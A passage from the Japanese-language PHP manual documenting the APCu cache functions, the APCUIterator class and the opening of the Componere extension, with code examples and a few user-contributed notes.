// もちろん、このような使い方は無意味

// 複数のキーを削除することもできます。
apcu_delete(['foo', 'bar', 'baz']);

// または、正規表現とともに Iterator を使用します。
apcu_delete(new APCUIterator('#^myprefix_#'));
?>

参考

  • apcu_store() - 変数をデータ領域にキャッシュする
  • apcu_fetch() - 格納されている変数をキャッシュから取得する
  • apcu_clear_cache() - APCu キャッシュをクリアする
  • APCUIterator

User Contributed Notes

There are no user contributed notes for this page.


現在の環境で apcu が使えるかを確認する

  • ≪ apcu_delete
  • apcu_entry ≫
  • PHP Manual
  • APCu 関数
  • 現在の環境で apcu が使えるかを確認する

apcu_enabled

(PECL apcu >= 4.0.3)

apcu_enabled — 現在の環境で apcu が使えるかを確認する

説明

apcu_enabled ( ) : bool

現在の環境で apcu が使えるかどうかを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の環境で apcu が使えるなら true を、そうでなければ false を返します。

User Contributed Notes

There are no user contributed notes for this page.


アトミックに値を取得するか、キャッシュエントリを生成する

  • ≪ apcu_enabled
  • apcu_exists ≫
  • PHP Manual
  • APCu 関数
  • アトミックに値を取得するか、キャッシュエントリを生成する

apcu_entry

(PECL apcu >= 5.1.0)

apcu_entry — アトミックに値を取得するか、キャッシュエントリを生成する

説明

apcu_entry ( string $key , callable $generator , int $ttl = 0 ) : mixed

キャッシュに key が存在するかをアトミックに検索します。 存在しなければ generator が呼び出され、 key が唯一の引数として渡されます。 generator ではオプションで指定する ttl の間だけ値をキャッシュし、 キャッシュした値が返されます。

注意: apcu_entry() 関数に制御が移ると、 キャッシュのロックを排他的に取得します。 このロックは apcu_entry() の実行が終わったときに開放されます: この結果、generator はクリティカルセクションに入るため、 ふたつのプロセスが同時に同じコードパスを実行することができなくなります。 さらに、他のAPCuのあらゆる関数も同時に並列に実行できなくなります。 なぜなら、同じロックを共有しているからです。

警告

generator から安全に呼び出せるAPCuの関数は apcu_entry() だけです。

パラメータ

key

キャッシュエントリのキー。

generator

key を唯一の引数として取り、 キャッシュする値を返す関数

ttl

有効期間。var は、キャッシュに ttl 秒間だけ格納されます。 ttl が経過すると、格納されている変数は （次のリクエスト時に）キャッシュから削除されます。 ttl が指定されていない（あるいは ttl が 0 の場合）は、 キャッシュから手動で削除される・あるいはキャッシュに存在できなくなる （clear, restart など）まで値が持続します。

返り値

キャッシュされた値を返します。

例

例1 apcu_entry() の例

<?php
$config = apcu_entry("config", function($key) {
 return [
   "fruit" => apcu_entry("config.fruit", function($key){
     return [
       "apples",
       "pears"
     ];
   }),
   "people" => apcu_entry("config.people", function($key){
     return [
      "bob",
      "joe",
      "niki"
     ];
   })
 ];
});

var_dump($config);
?>

上の例の出力は以下となります。

array(2) {
  ["fruit"]=>
  array(2) {
    [0]=>
    string(6) "apples"
    [1]=>
    string(5) "pears"
  }
  ["people"]=>
  array(3) {
    [0]=>
    string(3) "bob"
    [1]=>
    string(3) "joe"
    [2]=>
    string(4) "niki"
  }
}

参考

  • apcu_store() - 変数をデータ領域にキャッシュする
  • apcu_fetch() - 格納されている変数をキャッシュから取得する
  • apcu_delete() - 格納されている変数をキャッシュから取り除く

User Contributed Notes

There are no user contributed notes for this page.


エントリが存在するかどうかを調べる

  • ≪ apcu_entry
  • apcu_fetch ≫
  • PHP Manual
  • APCu 関数
  • エントリが存在するかどうかを調べる

apcu_exists

(PECL apcu >= 4.0.0)

apcu_exists — エントリが存在するかどうかを調べる

説明

apcu_exists ( mixed $keys ) : mixed

指定した APCu エントリが存在するかどうかを調べます。

パラメータ

keys

キーを含む文字列、あるいは文字列の配列。

返り値

キーが存在する場合に true、それ以外の場合に false を返します。 keys に配列を渡したときは、 存在するキーをすべて含む配列を返します。 どれも存在しない場合は空の配列を返します。

例

例1 apcu_exists() の例

<?php
$fruit  = 'apple';
$veggie = 'carrot';

apcu_store('foo', $fruit);
apcu_store('bar', $veggie);

if (apcu_exists('foo')) {
    echo "Foo exists: ";
    echo apcu_fetch('foo');
} else {
    echo "Foo does not exist";
}

echo PHP_EOL;
if (apcu_exists('baz')) {
    echo "Baz exists.";
} else {
    echo "Baz does not exist";
}

echo PHP_EOL;

$ret = apcu_exists(array('foo', 'donotexist', 'bar'));
var_dump($ret);

?>

上の例の出力は、 たとえば以下のようになります。

Foo exists: apple
Baz does not exist
array(2) {
  ["foo"]=>
  bool(true)
  ["bar"]=>
  bool(true)
}

参考

  • apcu_cache_info() - APCu のデータから、キャッシュされた情報を取得する
  • apcu_fetch() - 格納されている変数をキャッシュから取得する

User Contributed Notes

There are no user contributed notes for this page.


格納されている変数をキャッシュから取得する

  • ≪ apcu_exists
  • apcu_inc ≫
  • PHP Manual
  • APCu 関数
  • 格納されている変数をキャッシュから取得する

apcu_fetch

(PECL apcu >= 4.0.0)

apcu_fetch — 格納されている変数をキャッシュから取得する

説明

apcu_fetch ( mixed $key , bool &$success = ? ) : mixed

エントリをキャッシュから取得します。

パラメータ

key

(apcu_store() を用いて) 値を格納する際に使用された key。 配列を渡した場合は、各要素について取得した値を返します。

success

成功したばあいに true、失敗した際に false が設定されます。

返り値

成功した場合に格納されていた変数 (あるいは配列)、失敗した場合に false を返します。

例

例1 apcu_fetch() の例

<?php
$bar = 'BAR';
apcu_store('foo', $bar);
var_dump(apcu_fetch('foo'));
?>

上の例の出力は以下となります。

string(3) "BAR"

変更履歴

バージョン | 説明
PECL apcu 3.0.17 | success パラメータが追加されました。

参考

  • apcu_store() - 変数をデータ領域にキャッシュする
  • apcu_delete() - 格納されている変数をキャッシュから取り除く
  • APCUIterator

User Contributed Notes

There are no user contributed notes for this page.


保存した数値を増やす

  • ≪ apcu_fetch
  • apcu_key_info ≫
  • PHP Manual
  • APCu 関数
  • 保存した数値を増やす

apcu_inc

(PECL apcu >= 4.0.0)

apcu_inc — 保存した数値を増やす

説明

apcu_inc ( string $key , int $step = 1 , bool &$success = ? , int $ttl = 0 ) : int|false

保存した整数値を増やします。

パラメータ

key

増やしたい値のキー。

step

増やしたい数。

success

この参照渡しの変数に、成功したか失敗したかの結果が格納されます。

ttl

(既存の値を減らすのではなく) 新しい値を挿入する操作に使うTTL

返り値

成功した場合に key の現在値を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
5.1.12 | 引数 ttl が追加されました。

例

例1 apcu_inc() の例

<?php
echo "Let's do something with success", PHP_EOL;

apcu_store('anumber', 42);

echo apcu_fetch('anumber'), PHP_EOL;

echo apcu_inc('anumber'), PHP_EOL;
echo apcu_inc('anumber', 10), PHP_EOL;
echo apcu_inc('anumber', 10, $success), PHP_EOL;

var_dump($success);

echo "Now, let's fail", PHP_EOL, PHP_EOL;

apcu_store('astring', 'foo');

$ret = apcu_inc('astring', 1, $fail);

var_dump($ret);
var_dump($fail);
?>

上の例の出力は、 たとえば以下のようになります。

Let's do something with success
42
43
53
63
bool(true)
Now, let's fail

bool(false)
bool(false)

参考

  • apcu_dec() - 保存した数値を減らす

User Contributed Notes

There are no user contributed notes for this page.


キャッシュのキーに関する詳細な情報を取得する

  • ≪ apcu_inc
  • apcu_sma_info ≫
  • PHP Manual
  • APCu 関数
  • キャッシュのキーに関する詳細な情報を取得する

apcu_key_info

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

apcu_key_info — キャッシュのキーに関する詳細な情報を取得する

説明

apcu_key_info ( string $key ) : array

キャッシュのキーに関する詳細な情報を取得します。

パラメータ

key

キャッシュのキー

返り値

null または配列の情報を返します。

例

例1 A apcu_key_info() の例

<?php
apcu_add('a','b');
var_dump(apcu_key_info('a'));
?>

上の例の出力は以下となります。

array(7) {
  ["hits"]=>
  int(0)
  ["access_time"]=>
  int(1606701783)
  ["mtime"]=>
  int(1606701783)
  ["creation_time"]=>
  int(1606701783)
  ["deletion_time"]=>
  int(0)
  ["ttl"]=>
  int(0)
  ["refs"]=>
  int(0)
}

参考

  • apcu_store() - 変数をデータ領域にキャッシュする
  • apcu_fetch() - 格納されている変数をキャッシュから取得する
  • apcu_delete() - 格納されている変数をキャッシュから取り除く

User Contributed Notes

There are no user contributed notes for this page.


APCu の共有メモリ割り当てに関する情報を取得する

  • ≪ apcu_key_info
  • apcu_store ≫
  • PHP Manual
  • APCu 関数
  • APCu の共有メモリ割り当てに関する情報を取得する

apcu_sma_info

(PECL apcu >= 4.0.0)

apcu_sma_info — APCu の共有メモリ割り当てに関する情報を取得する

説明

apcu_sma_info ( bool $limited = false ) : array

APCu の共有メモリ割り当てに関する情報を取得します。

パラメータ

limited

false (デフォルト) を設定すると、apcu_sma_info() は各セグメントの詳細な情報を返します。

返り値

共有メモリ割り当てデータの配列を返します。失敗した場合は false を返します。

例

例1 apcu_sma_info() の例

<?php
print_r(apcu_sma_info());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [num_seg] => 1
    [seg_size] => 31457280
    [avail_mem] => 31448408
    [block_lists] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [size] => 31448408
                            [offset] => 8864
                        )

                )

        )

)

参考

  • APCu 設定ディレクティブ

User Contributed Notes

There are no user contributed notes for this page.


変数をデータ領域にキャッシュする

  • ≪ apcu_sma_info
  • APCUIterator ≫
  • PHP Manual
  • APCu 関数
  • 変数をデータ領域にキャッシュする

apcu_store

(PECL apcu >= 4.0.0)

apcu_store — 変数をデータ領域にキャッシュする

説明

apcu_store ( string $key , mixed $var , int $ttl = 0 ) : bool
apcu_store ( array $values , mixed $unused = NULL , int $ttl = 0 ) : array

変数をデータ領域にキャッシュします。

注意: PHP の他の多くの仕組みと異なり、apcu_store() を用いて格納された変数はリクエストを超えて （その値がキャッシュから取り除かれるまで）持続します。

パラメータ

key

この名前を用いて変数を格納します。key は キャッシュ内で一意です。そのため、同一の key で新しい値を格納すると、元の値は上書きされます。

var

格納する変数。

ttl

有効期間。var は、キャッシュに ttl 秒間だけ格納されます。 ttl が経過すると、格納されている変数は （次のリクエスト時に）キャッシュから削除されます。 ttl が指定されていない（あるいは ttl が 0 の場合）は、 キャッシュから手動で削除される・あるいはキャッシュに存在できなくなる （clear, restart など）まで値が持続します。

values

名前をキー、変数を値に指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。 二番目の構文は、エラーになったキーを含む配列を返します。

例

例1 apcu_store() の例

<?php
$bar = 'BAR';
apcu_store('foo', $bar);
var_dump(apcu_fetch('foo'));
?>

上の例の出力は以下となります。

string(3) "BAR"

参考

  • apcu_add() - 新規の変数をデータ領域にキャッシュする
  • apcu_fetch() - 格納されている変数をキャッシュから取得する
  • apcu_delete() - 格納されている変数をキャッシュから取り除く

User Contributed Notes

info at qmegas dot info 11-Mar-2021 01:34
Be careful when updating same key with ttl set during same request. For example:
<?php
for ($i = 0; $i < 20; $i++) {
    apcu_store('test', $i, 10);
    sleep(1);
}
?>

After 10 seconds the key will become not available and won't be updated. Tested on Windows and Linux platforms. Not sure if it's a bug or undocumented behavior.


APCUIterator クラス

(PECL apcu >= 5.0.0)

はじめに

APCUIterator クラスを使うと、巨大な APCu キャッシュの反復処理を容易に行えます。 巨大なキャッシュを順を追って処理し、 ロックインスタンス単位で決まった数のエントリを取得することができます。 そのため、キャッシュ全体を抱え込んで 100 件 (デフォルト) のエントリを取り込むのではなく、 キャッシュのロックを解放して他の操作ができる状態にすることが可能です。 また、正規表現によるマッチングは C 言語レベルで行われるのでより効率的です。

クラス概要

APCUIterator implements Iterator {
/* Methods */
public __construct ( mixed $search = null , int $format = APC_ITER_ALL , int $chunk_size = 100 , int $list = APC_LIST_ACTIVE )
public current ( ) : mixed
public getTotalCount ( ) : int
public getTotalHits ( ) : int
public getTotalSize ( ) : int
public key ( ) : string
public next ( ) : bool
public rewind ( ) : void
public valid ( ) : bool
}

目次

  • APCUIterator::__construct — APCUIterator イテレータオブジェクトを作成する
  • APCUIterator::current — 現在の項目を取得する
  • APCUIterator::getTotalCount — 総数を取得する
  • APCUIterator::getTotalHits — キャッシュヒットの総数を取得する
  • APCUIterator::getTotalSize — キャッシュのサイズの合計を取得する
  • APCUIterator::key — イテレータのキーを取得する
  • APCUIterator::next — ポインタを次の項目に移動させる
  • APCUIterator::rewind — イテレータを巻き戻す
  • APCUIterator::valid — 現在位置が有効かどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


APCUIterator イテレータオブジェクトを作成する

  • ≪ APCUIterator
  • APCUIterator::current ≫
  • PHP Manual
  • APCUIterator
  • APCUIterator イテレータオブジェクトを作成する

APCUIterator::__construct

(PECL apcu >= 5.0.0)

APCUIterator::__construct — APCUIterator イテレータオブジェクトを作成する

説明

public APCUIterator::__construct ( mixed $search = null , int $format = APC_ITER_ALL , int $chunk_size = 100 , int $list = APC_LIST_ACTIVE )

APCUIterator オブジェクトを作成します。

パラメータ

search

APCu のキーの名前にマッチする PCRE 正規表現。 単一の正規表現の場合は文字列で、複数の正規表現の場合は配列で指定します。 null を渡すと、検索をスキップします。

format

希望する書式。 APC_ITER_* 定数の組み合わせで指定します。

chunk_size

チャンクサイズ。0 より大きい値でなければなりません。 デフォルト値は 100 です。

list

一覧にする形式。APC_LIST_ACTIVE あるいは APC_LIST_DELETED を渡します。

返り値

成功した場合に APCUIterator オブジェクト、 失敗した場合に null を返します。

例

例1 APCUIterator::__construct() の例

<?php
foreach (new APCUIterator('/^counter\./') as $counter) {
    echo "$counter[key]: $counter[value]\n";
    apc_dec($counter['key'], $counter['value']);
}
?>

参考

  • apcu_exists() - エントリが存在するかどうかを調べる
  • apcu_cache_info() - APCu のデータから、キャッシュされた情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


現在の項目を取得する

  • ≪ APCUIterator::__construct
  • APCUIterator::getTotalCount ≫
  • PHP Manual
  • APCUIterator
  • 現在の項目を取得する

APCUIterator::current

(PECL apcu >= 5.0.0)

APCUIterator::current — 現在の項目を取得する

説明

public APCUIterator::current ( ) : mixed

APCUIterator から現在の項目を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に現在の項目を返します。 もう項目が存在しない場合や取得に失敗した場合は false を返します。

参考

  • APCUIterator::next() - ポインタを次の項目に移動させる
  • Iterator::current() - 現在の要素を返す

User Contributed Notes

There are no user contributed notes for this page.


総数を取得する

  • ≪ APCUIterator::current
  • APCUIterator::getTotalHits ≫
  • PHP Manual
  • APCUIterator
  • 総数を取得する

APCUIterator::getTotalCount

(PECL apcu >= 5.0.0)

APCUIterator::getTotalCount — 総数を取得する

説明

public APCUIterator::getTotalCount ( ) : int

総数を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

総数を返します。

参考

  • APCUIterator::getTotalHits() - キャッシュヒットの総数を取得する
  • APCUIterator::getTotalSize() - キャッシュのサイズの合計を取得する
  • apcu_cache_info() - APCu のデータから、キャッシュされた情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


キャッシュヒットの総数を取得する

  • ≪ APCUIterator::getTotalCount
  • APCUIterator::getTotalSize ≫
  • PHP Manual
  • APCUIterator
  • キャッシュヒットの総数を取得する

APCUIterator::getTotalHits

(PECL apcu >= 5.0.0)

APCUIterator::getTotalHits — キャッシュヒットの総数を取得する

説明

public APCUIterator::getTotalHits ( ) : int

キャッシュヒットの総数を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合にヒット数、失敗した場合に false を返します。

参考

  • APCUIterator::getTotalCount() - 総数を取得する
  • APCUIterator::getTotalSize() - キャッシュのサイズの合計を取得する
  • apcu_cache_info() - APCu のデータから、キャッシュされた情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


キャッシュのサイズの合計を取得する

  • ≪ APCUIterator::getTotalHits
  • APCUIterator::key ≫
  • PHP Manual
  • APCUIterator
  • キャッシュのサイズの合計を取得する

APCUIterator::getTotalSize

(PECL apcu >= 5.0.0)

APCUIterator::getTotalSize — キャッシュのサイズの合計を取得する

説明

public APCUIterator::getTotalSize ( ) : int

キャッシュのサイズの合計を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

キャッシュのサイズの合計を返します。

参考

  • APCUIterator::getTotalCount() - 総数を取得する
  • APCUIterator::getTotalHits() - キャッシュヒットの総数を取得する
  • apcu_cache_info() - APCu のデータから、キャッシュされた情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


イテレータのキーを取得する

  • ≪ APCUIterator::getTotalSize
  • APCUIterator::next ≫
  • PHP Manual
  • APCUIterator
  • イテレータのキーを取得する

APCUIterator::key

(PECL apcu >= 5.0.0)

APCUIterator::key — イテレータのキーを取得する

説明

public APCUIterator::key ( ) : string

現在のイテレータのキーを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合にキー、失敗した場合に false を返します。

参考

  • APCUIterator::current() - 現在の項目を取得する
  • Iterator::key() - 現在の要素のキーを返す

User Contributed Notes

There are no user contributed notes for this page.


ポインタを次の項目に移動させる

  • ≪ APCUIterator::key
  • APCUIterator::rewind ≫
  • PHP Manual
  • APCUIterator
  • ポインタを次の項目に移動させる

APCUIterator::next

(PECL apcu >= 5.0.0)

APCUIterator::next — ポインタを次の項目に移動させる

説明

public APCUIterator::next ( ) : bool

イテレータのポインタを次の要素に移動させます。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • APCUIterator::current() - 現在の項目を取得する
  • APCUIterator::rewind() - イテレータを巻き戻す
  • Iterator::next() - 次の要素に進む

User Contributed Notes

There are no user contributed notes for this page.


イテレータを巻き戻す

  • ≪ APCUIterator::next
  • APCUIterator::valid ≫
  • PHP Manual
  • APCUIterator
  • イテレータを巻き戻す

APCUIterator::rewind

(PECL apcu >= 5.0.0)

APCUIterator::rewind — イテレータを巻き戻す

説明

public APCUIterator::rewind ( ) : void

イテレータを最初の要素に巻き戻します

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • APCUIterator::next() - ポインタを次の項目に移動させる
  • Iterator::next() - 次の要素に進む

User Contributed Notes

There are no user contributed notes for this page.


現在位置が有効かどうかを調べる

  • ≪ APCUIterator::rewind
  • Componere ≫
  • PHP Manual
  • APCUIterator
  • 現在位置が有効かどうかを調べる

APCUIterator::valid

(PECL apcu >= 5.0.0)

APCUIterator::valid — 現在位置が有効かどうかを調べる

説明

public APCUIterator::valid ( ) : bool

イテレータの現在位置が有効かどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

イテレータの現在位置が有効な場合に true、それ以外の場合に false を返します。

参考

  • APCUIterator::current() - 現在の項目を取得する
  • Iterator::valid() - 現在位置が有効かどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


Componere

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
  • Componere\Abstract\Definition — The Componere\Abstract\Definition class
    • Componere\Abstract\Definition::addInterface — Add Interface
    • Componere\Abstract\Definition::addMethod — Add Method
    • Componere\Abstract\Definition::addTrait — Add Trait
    • Componere\Abstract\Definition::getReflector — Reflection
  • Componere\Definition — The Componere\Definition class
    • Componere\Definition::__construct — Definition Construction
    • Componere\Definition::addConstant — Add Constant
    • Componere\Definition::addProperty — Add Property
    • Componere\Definition::register — Registration
    • Componere\Definition::isRegistered — State Detection
    • Componere\Definition::getClosure — Get Closure
    • Componere\Definition::getClosures — Get Closures
  • Componere\Patch — The Componere\Patch class
    • Componere\Patch::__construct — Patch Construction
    • Componere\Patch::apply — Application
    • Componere\Patch::revert — Reversal
    • Componere\Patch::isApplied — State Detection
    • Componere\Patch::derive — Patch Derivation
    • Componere\Patch::getClosure — Get Closure
    • Componere\Patch::getClosures — Get Closures
  • Componere\Method — The Componere\Method class
    • Componere\Method::__construct — Method Construction
    • Componere\Method::setPrivate — Accessibility Modification
    • Componere\Method::setProtected — Accessibility Modification
    • Componere\Method::setStatic — Accessibility Modification
    • Componere\Method::getReflector — Reflection
  • Componere\Value — The Componere\Value class
    • Componere\Value::__construct — Value Construction
    • Componere\Value::setPrivate — Accessibility Modification
    • Componere\Value::setProtected — Accessibility Modification
    • Componere\Value::setStatic — Accessibility Modification
    • Componere\Value::isPrivate — Accessibility Detection
    • Componere\Value::isProtected — Accessibility Detection
    • Componere\Value::isStatic — Accessibility Detection
    • Componere\Value::hasDefault — Value Interaction
  • Componere 関数
    • Componere\cast — Casting
    • Componere\cast_by_ref — Casting

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Componere (latin, English: compose) targets production environments and provides an API for composition of classes, monkey patching, and casting.

Composition:

Componere\Definition is used to define (or redefine) a class at runtime; The class can then be registered, and in the case of redefinition it replaces the original class for as long as the Componere\Definition exists.

public Componere\Definition::__construct ( string $name )
public Componere\Definition::__construct ( string $name , string $parent )
public Componere\Definition::__construct ( string $name , array $interfaces )
public Componere\Definition::__construct ( string $name , string $parent , array $interfaces )

Patching:

Componere\Patch is used to change the class of a specific instance of an object at runtime; Upon application the patch will remain applied for as long as the Componere\Patch exists, and can be reverted explicitly.

public Componere\Patch::__construct ( object $instance )
public Componere\Patch::__construct ( object $instance , array $interfaces )

Casting:

Componere\ casting functions can cast among user defined compatible types; Where compatible means Type is sub or super to the type of object.

Componere\cast ( Type $type , $object ) : Type
Componere\cast_by_ref ( Type $type , $object ) : Type

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順

User Contributed Notes

There are no user contributed notes for this page.


要件

Reflection is required

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

Componere source and releases are available on » github

User Contributed Notes

There are no user contributed notes for this page.


The Componere\Abstract\Definition class

(Componere 2 >= 2.1.0)

はじめに

This final abstract represents a class entry, and should not be used by the programmer.

クラス概要

final abstract Componere\Abstract\Definition {
/* メソッド */
public addInterface ( string $interface ) : Definition
public addMethod ( string $name , Componere\Method $method ) : Definition
public addTrait ( string $trait ) : Definition
public getReflector ( ) : ReflectionClass
}

目次

  • Componere\Abstract\Definition::addInterface — Add Interface
  • Componere\Abstract\Definition::addMethod — Add Method
  • Componere\Abstract\Definition::addTrait — Add Trait
  • Componere\Abstract\Definition::getReflector — Reflection

User Contributed Notes

There are no user contributed notes for this page.


Add Interface

  • ≪ Componere\Abstract\Definition
  • Componere\Abstract\Definition::addMethod ≫
  • PHP Manual
  • Componere\Abstract\Definition
  • Add Interface

Componere\Abstract\Definition::addInterface

(Componere 2 >= 2.1.0)

Componere\Abstract\Definition::addInterface — Add Interface

説明

public Componere\Abstract\Definition::addInterface ( string $interface ) : Definition

Shall implement the given interface on the current definition

パラメータ

interface

The case insensitive name of an interface

返り値

The current Definition

Exceptions

警告

Shall throw RuntimeException if Definition was registered

User Contributed Notes

There are no user contributed notes for this page.


Add Method

  • ≪ Componere\Abstract\Definition::addInterface
  • Componere\Abstract\Definition::addTrait ≫
  • PHP Manual
  • Componere\Abstract\Definition
  • Add Method

Componere\Abstract\Definition::addMethod

(Componere 2 >= 2.1.0)

Componere\Abstract\Definition::addMethod — Add Method

説明

public Componere\Abstract\Definition::addMethod ( string $name , Componere\Method $method ) : Definition

Shall create or override a method on the current definition.

パラメータ

name

The case insensitive name for method

method

Componere\Method not previously added to another Definition

返り値

The current Definition

Exceptions

警告

Shall throw RuntimeException if Definition was registered

警告

Shall throw RuntimeException if Method was added to another Definition

User Contributed Notes

There are no user contributed notes for this page.


Add Trait

  • ≪ Componere\Abstract\Definition::addMethod
  • Componere\Abstract\Definition::getReflector ≫
  • PHP Manual
  • Componere\Abstract\Definition
  • Add Trait

Componere\Abstract\Definition::addTrait

(Componere 2 >= 2.1.0)

Componere\Abstract\Definition::addTrait — Add Trait

説明

public Componere\Abstract\Definition::addTrait ( string $trait ) : Definition

Shall use the given trait for the current definition

パラメータ

trait

The case insensitive name of a trait

返り値

The current Definition

Exceptions

警告

Shall throw RuntimeException if Definition was registered

User Contributed Notes

ASchmidt at Anamera dot net 23-Mar-2018 12:22
Adding a trait is an efficient way to extend a "final" class, overriding methods and adding new ones, without having to individually add each method as a closure. It also results in more readable code.

<?php
declare(strict_types=1);

/*
 *  Final class would normally prevent extending.
 */
final class ParentC
{
    public $parentvar;
    public $secondvar;

    function __construct() { echo( "\r\n<br/>".$this->parentvar = 'set by '.get_class().'->parentconstruct' ); }
    function parentf() { echo( "\r\n<br/>".get_class().'->parentf >> '.$this->parentvar ); }
}

/*
 *  Extended class members.
 */
trait ChildC /* extends ParentC */
{
    function __construct() {
        // Call parent constructor.
        parent::__construct();
        // Access an inherited property set by parent constructor.
        echo( "\r\n<br/>".get_class().'->overridden_constructor >> '.$this->parentvar );
    }

    function parentf() {
        // Call overridden parent method.
        parent::parentf();
        // Access an inherited property set by constructor.
        echo( "\r\n<br/>".get_class().'->overridden_parentf >> '.$this->parentvar );
    }

    function dynamicf( $parm = null ) {
        // Populate a parent class property.
        $this->secondvar = empty( $parm ) ? 'set by '.get_class().'->dynamicf' : $parm;
        // Access an inherited property set by parent constructor.
        echo( "\r\n<br/>".get_class().'->dynamicf >> '.$this->parentvar );
    }
}

/*
 *  Register the dynamic child class "ChildC", which is
 *  derived by extending "ParentC" with members supplied as "ChildC" trait.
 */
$definition = new \Componere\Definition( 'ChildC', ParentC::class );
$definition->addTrait( 'ChildC' );
$definition ->register();

/*
 *  Instantiate the dynamic child class,
 *  and access its own and inherited members.
 */
$dyno = new ChildC;
$dyno->parentf();
$dyno->dynamicf( 'myvalue ');

// Our object is also recognized as instance of parent!
var_dump( $dyno instanceof ChildC, $dyno instanceof ParentC, is_a( $dyno, 'ParentC') );
var_dump( $dyno );
?>

will output:

set by ParentC->parentconstruct
ChildC->overridden_constructor >> set by ParentC->parentconstruct
ParentC->parentf >> set by ParentC->parentconstruct
ChildC->overridden_parentf >> set by ParentC->parentconstruct
ChildC->dynamicf >> set by ParentC->parentconstruct

boolean true
boolean true
boolean true

object(ChildC)[2]
  public 'parentvar' => string 'set by ParentC->parentconstruct' (length=31)
  public 'secondvar' => string 'myvalue ' (length=8)


Reflection

  • ≪ Componere\Abstract\Definition::addTrait
  • Componere\Definition ≫
  • PHP Manual
  • Componere\Abstract\Definition
  • Reflection

Componere\Abstract\Definition::getReflector

(Componere 2 >= 2.1.0)

Componere\Abstract\Definition::getReflector — Reflection

説明

public Componere\Abstract\Definition::getReflector ( ) : ReflectionClass

Shall create or return a ReflectionClass

返り値

A ReflectionClass for the current definition (cached)

User Contributed Notes

There are no user contributed notes for this page.


The Componere\Definition class

(Componere 2 >= 2.1.0)

はじめに

The Definition class allows the programmer to build and register a type at runtime.

Should a Definition replace an existing class, the existing class will be restored when the Definition is destroyed.

クラス概要

final Componere\Definition extends Componere\Abstract\Definition {
/* Constructors */
public __construct ( string $name )
public __construct ( string $name , string $parent )
public __construct ( string $name , array $interfaces )
public __construct ( string $name , string $parent , array $interfaces )
/* メソッド */
public addConstant ( string $name , Componere\Value $value ) : Definition
public addProperty ( string $name , Componere\Value $value ) : Definition
public register ( ) : void
public isRegistered ( ) : bool
public getClosure ( string $name ) : Closure
public getClosures ( ) : array
/* 継承したメソッド */
public Componere\Abstract\Definition::addInterface ( string $interface ) : Definition
public Componere\Abstract\Definition::addMethod ( string $name , Componere\Method $method ) : Definition
public Componere\Abstract\Definition::addTrait ( string $trait ) : Definition
public Componere\Abstract\Definition::getReflector ( ) : ReflectionClass
}

目次

  • Componere\Definition::__construct — Definition Construction
  • Componere\Definition::addConstant — Add Constant
  • Componere\Definition::addProperty — Add Property
  • Componere\Definition::register — Registration
  • Componere\Definition::isRegistered — State Detection
  • Componere\Definition::getClosure — Get Closure
  • Componere\Definition::getClosures — Get Closures

User Contributed Notes

ASchmidt at Anamera dot net 20-Mar-2018 11:58
Sometimes we might wish to extend a third party class that has been defined as "final".

In this example, the a child class will extend a "final" class, adding a method. An object instance will be able to access parent members, and is recognized as an instance of both the dynamically created child class as well as its parent class.

<?php
declare(strict_types=1);

/*
 *  Final class would normally prevent extending.
 */
final class ParentC
{
    public $parentvar;
    public $secondvar;

    function __construct() { echo( "\r\n<br/>".$this->parentvar = 'set by '.get_class().'->parentconstruct' ); }
    function parentf() { echo( "\r\n<br/>".get_class().'->parentf >> '.$this->parentvar ); }
}

/*
 *  Dynamically define a child class "DynamicC"
 *  which successfully extends final class "ParentC".
 */
$DefC = new \Componere\Definition( 'DynamicC', 'ParentC');

// Extend child class with method 'DynamicC::dynamicf()'.
$DefM = new Componere\Method( function( $parm = null ) {
    // Populate a parent class property.
    $this->secondvar = empty( $parm ) ? 'set by '.get_class().'->dynamicf' : $parm;
    // Access an inherited property set by parent constructor.
    echo( "\r\n<br/>".get_class().'->dynamicf >> '.$this->parentvar );
} );
$DefC->addMethod( 'dynamicf', $DefM );

// Take dynamic child class 'life'.
$DefC->register();

/*
 *  Instantiate the dynamic child class,
 *  and access its own and inherited members.
 */

$dyno = new DynamicC;
$dyno->parentf();
$dyno->dynamicf( 'myvalue ');

// Our object is also recognized as instance of parent!
var_dump( $dyno instanceof DynamicC, $dyno instanceof ParentC );
var_dump( $dyno );
%>

will output:

set by ParentC->parentconstruct
ParentC->parentf >> set by ParentC->parentconstruct
DynamicC->dynamicf >> set by ParentC->parentconstruct

(boolean) true
(boolean) true

object(DynamicC)
  public 'parentvar' => string 'set by ParentC->parentconstruct' (length=31)
  public 'secondvar' => string 'myvalue ' (length=8)


Definition Construction

  • ≪ Componere\Definition
  • Componere\Definition::addConstant ≫
  • PHP Manual
  • Componere\Definition
  • Definition Construction

Componere\Definition::__construct

(Componere 2 >= 2.1.0)

Componere\Definition::__construct — Definition Construction

説明

public Componere\Definition::__construct ( string $name )
public Componere\Definition::__construct ( string $name , string $parent )
public Componere\Definition::__construct ( string $name , array $interfaces )
public Componere\Definition::__construct ( string $name , string $parent , array $interfaces )

パラメータ

name

